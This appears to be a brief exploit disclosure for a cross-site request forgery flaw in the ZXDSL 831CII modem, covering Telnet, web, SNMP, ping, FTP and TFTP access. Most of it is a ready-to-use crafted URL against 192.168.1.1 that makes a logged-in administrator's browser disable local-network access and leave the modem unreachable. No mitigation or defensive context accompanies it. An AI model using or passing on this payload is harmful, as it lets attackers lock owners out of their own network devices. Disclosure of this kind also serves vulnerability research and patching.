ZXDSL 831CII Disable Access from Local network CSRF Disable from: Telnet Web Browser SNMP Ping FTP TFTP The following link will make a logged in admin disable all access from lan. (which makes the modem unaccessable) 192.168.1.1/accesslocal.cmd?&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=1&sshport=22